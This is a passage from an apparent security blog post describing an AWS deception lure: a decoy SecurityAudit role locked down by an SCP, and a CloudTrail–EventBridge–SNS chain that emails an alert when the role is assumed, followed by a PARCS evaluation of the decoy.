<p><span data-contrast="none">5. The &#8220;SecurityAudit&#8221; role is deliberately configured with an approval relationship authorizing the &#8220;LambdaAuto&#8221; role of the SHARED account to assume it.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">6. At this stage, the attacker had assumed that </span><span data-contrast="none">they </span><span data-contrast="none"> would be granted security auditor rights. However, a very restrictive Security Control Policy (SCP) was applied, granting </span><span data-contrast="none">them </span><span data-contrast="none">no privileges on the account.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p> <br /><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:207,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22474 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/11.jpg" alt="" width="1031" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/11.jpg 1031w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/11-365x191.jpg 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/11-71x37.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/11-768x402.jpg 768w" sizes="auto, (max-width: 1031px) 100vw, 1031px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">The policy prohibiting all actions from the Security-Audit-Role</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:-304,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<h2 aria-level="1"> </h2>
<h2 aria-level="1"><span data-contrast="none">Alerting chain</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:259,&quot;335559991&quot;:567}"> </span></h2>
<p><span data-contrast="none">An alerting chain in the AWS cloud refers to a means of communicating notifications or alerts generated by AWS services to users or teams responsible for managing these services, enabling them to take rapid action to resolve problems and minimize service interruptions.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559731&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559731&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">To set up an alerting chain, you first need to configure AWS services to generate alerts when certain events occur, such as</span><span data-contrast="none">,</span><span data-contrast="none"> a server down or an application exceeding a specific CPU usage threshold. Once these alerts have been generated, they can be sent to the appropriate alerting chain according to the notification preferences configured by the user or the team responsible for managing the service.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559731&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">In order to detect the attacker, we use the following AWS services to create the alerting chain:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="8" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:644,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><a href="bookmark://_CloudTrail"><b><span data-contrast="none">CloudTrail</span></b></a><span data-contrast="none"> l to track actions performed on the compromised AWS account;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="8" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:644,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><b><span data-contrast="none">EventBridge</span></b><span data-contrast="none"> to detect any &#8220;AssumeRole&#8221; event of the &#8220;SecurityAudit&#8221; role and trigger an alert ;</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="8" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:644,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><a href="bookmark://_SNS_-_Simple"><span data-contrast="none">Simple Notification Service (SNS</span></a><span data-contrast="none">)</span><span data-contrast="none"> to send the alert by e-mail with the information gathered during the attack. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:567,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22476 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12.jpg" alt="" width="1255" height="629" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12.jpg 1255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12-381x191.jpg 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12-768x385.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/12-800x400.jpg 800w" sizes="auto, (max-width: 1255px) 100vw, 1255px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Illustration of the alerting chain</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:567,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<h3 aria-level="2"><span data-contrast="none">Alerting chain creation steps : </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1418,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:851}"> </span></h3>
<h4 aria-level="3"><span data-contrast="none">Cloudtrail configuration </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1418,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:851}"> </span></h4>
<p><span data-contrast="none">The first step in creating an alerting chain on AWS is to enable CloudTrail (if not already activated) in your AWS account. CloudTrail logs all activity and API calls in your account, which can be useful for security, compliance and troubleshooting purposes.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Based on the logs generated in CloudTrail, we&#8217;ve created an EventBridge rule that sends notifications to the SNS service whenever the &#8220;SecurityAudit&#8221; role is assumed (event type: AssumeRole).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<h4 aria-level="3"><span data-contrast="none">Creation of an EventBridge rule</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1418,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:851}"> </span></h4>
<p><span data-contrast="none">A rule monitors specific types of events, and when a corresponding event occurs, it is routed to the service associated with the rule and handling the event (in this case, the SNS service). </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:144,&quot;335559740&quot;:259,&quot;335559746&quot;:60}"> </span></p>
<p><span data-contrast="none">The event model detects all events of the &#8220;AssumeRole&#8221; type occurring in the account used and triggers the alert. In order to avoid false positives when triggering alerts, we have refined the event model to be as accurate as possible for the events we are interested in.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:144,&quot;335559740&quot;:259,&quot;335559746&quot;:60}"> </span></p>
<p><span data-contrast="none">This means including relevant fields, such as event source, detail type or specific values, to refine the matching criteria. This reduces the risk of unrelated events triggering the rule.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:144,&quot;335559740&quot;:259,&quot;335559746&quot;:60}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-22478 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/13.jpg" alt="" width="1013" height="448" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/13.jpg 1013w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/13-432x191.jpg 432w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/13-71x31.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/13-768x340.jpg 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">The event model detecting all &#8220;AssumeRole&#8221; events on the &#8220;SecurityAudit&#8221; role</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">The Eventbridge service must therefore first be linked to the SNS target.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22480 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/14.jpg" alt="" width="1157" height="154" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/14.jpg 1157w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/14-437x58.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/14-71x9.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/14-768x102.jpg 768w" sizes="auto, (max-width: 1157px) 100vw, 1157px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">The target related to the EventBridge rule</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<h4 aria-level="3"><span data-contrast="none">SNS rubric configuration </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1418,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:851}"> </span></h4>
<p><span data-contrast="none">At this stage, an SNS topic is created and linked to a subscription of an e-mail endpoint authenticated later. The SNS topic will be the target of the EventBridge rule. Once the topic has been created, the e-mail subscription is carried out by selecting the e-mail address as the protocol (endpoint) where the alerts are to be received.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><i><span data-contrast="none">Other targets than e-mail could be considered for receiving alerts (ServiceNow, SIEM, etc.).</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span> <br /><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22482 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/15.jpg" alt="" width="883" height="339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/15.jpg 883w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/15-437x168.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/15-71x27.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/15-768x295.jpg 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Details of the SNS rubric</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:491,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p aria-level="3"><strong>Alert customization  </strong></p>
<p><span data-contrast="none">EventBridge&#8217;s Input Transformer function was used to customize the content of the alert, so that only the most important elements were displayed.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">It allows you to customize the text of an event before it is transmitted to the target.  This is achieved by defining JSON variables to reference values in the original event source.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p aria-level="4"><b><span data-contrast="none">Input transformer configuration </span></b><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">In our case, the variables listed below will constitute the alert message:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-22484 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/16.jpg" alt="" width="992" height="529" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/16.jpg 992w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/16-358x191.jpg 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/16-71x39.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/16-768x410.jpg 768w" sizes="auto, (max-width: 992px) 100vw, 992px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Input transformer creation</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:568,&quot;335559731&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p aria-level="4"><b><span data-contrast="none">Input model</span></b><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">The input model will use the variables defined previously within the final alert message: </span><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22486 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/17.jpg" alt="" width="1275" height="245" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/17.jpg 1275w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/17-437x84.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/17-71x14.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/17-768x148.jpg 768w" sizes="auto, (max-width: 1275px) 100vw, 1275px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Input model creation</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:568,&quot;335559731&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Once the &#8220;SecurityAudit&#8221; role has been endorsed, an alert is sent to the endpoint created:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:284,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22488 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/18.jpg" alt="" width="1267" height="431" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/18.jpg 1267w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/18-437x149.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/18-71x24.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/18-768x261.jpg 768w" sizes="auto, (max-width: 1267px) 100vw, 1267px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Example of e-mail alert content</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<h3><b><span data-contrast="none">Cost of the AWS services used </span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></h3>
<p><span data-contrast="none">AWS offers a pay-per-use approach to pricing its cloud services. With AWS, you only pay for the services you need, as long as you continue to use them, without a long-term contract. You only pay for the services you use, and if you stop using them, you won&#8217;t be charged any additional costs or termination fees. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">The services deployed in this scenario are not intended to be used except in the event of an intrusion or security incident. The associated costs are therefore negligible.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p> </p>
<h2 aria-level="1"><span data-contrast="none">Decoy evaluation with the PARCS matrix</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:259,&quot;335559991&quot;:567}"> </span></h2>
<p><span data-contrast="none">Several criteria can be used to evaluate a lure, and here are the results of our analysis based on the PARCS matrix:  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="5" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:360,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="none">P</span></b><span data-contrast="none">ertinence (efficiency) : 4/4</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></li>
</ul>
<p><span data-contrast="none">«  Various approaches can be adopted to effectively spot the initial compromise of an EC2 instance and the lateral propagation of an attacker</span><span data-contrast="none">.</span><span data-contrast="none"> In our context, depending on the resources at our disposal, one possible strategy is to monitor operations by analyzing logs, which will enable malicious actions to be detected. These observations could then be used to generate alerts for administrators. For example, an alert could be triggered in the event of an intrusion attempt via a brute force attack on the RDP service of EC2 instances within our AWS environment, thanks to GuardDuty. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<p><span data-contrast="none">In addition, it would be possible to use a combination of AWS services such as CloudTrail and EventBridge to establish detection rules and automate interventions in response to specific activities, including those related to cross-account access, and create detection rules that monitor all endorsement events to trigger actions in the event of corresponding events. </span><span data-contrast="none">»</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="5" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:360,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><b><span data-contrast="none">A</span></b><span data-contrast="none">ttractivité (attractiveness): 4/4</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></li>
</ul>
<p><span data-contrast="none">« The decoy is distinguished by a dedicated account, significantly increasing its power of attraction. By having access to the metadata of all the resources within </span><span data-contrast="none">their </span><span data-contrast="none"> reach, the attacker can also verify various levels of privilege, which substantially enhances credibility. Thanks to the ability to visualize the dates and times of the last uses of resources in </span><span data-contrast="none">their</span><span data-contrast="none"> field of vision, </span><span data-contrast="none">they</span><span data-contrast="none"> can deduce that these resources are rarely used. With this in mind, a lambda function is implemented to automate the execution of various resources or their authentication, thus guaranteeing proof of recent use.  »</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="5" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:360,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><b><span data-contrast="none">R</span></b><span data-contrast="none">isque (risk): 4/4</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></li>
</ul>
<p><span data-contrast="none">« </span><span data-contrast="none">The authorization granted to the IAM-RO role only confers IAM privileges to the attacker in the context of a purely fictitious account. Thanks to appropriate configuration of the upstream SCP, any attempted actions by the Security-Audit role will also be thwarted. The only elements deliberately introduced in a real environment are the Semi-Admin and Lambda-Auto roles, which are subject to stringent policies preventing any assignment of rights or privileges in the event of attempted malicious use. These policies include read-only access (IAMReadOnlyAccess) and a restriction preventing any modification of account role authorizations, as defined by the SCP</span><span data-contrast="none">. »</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<ul>
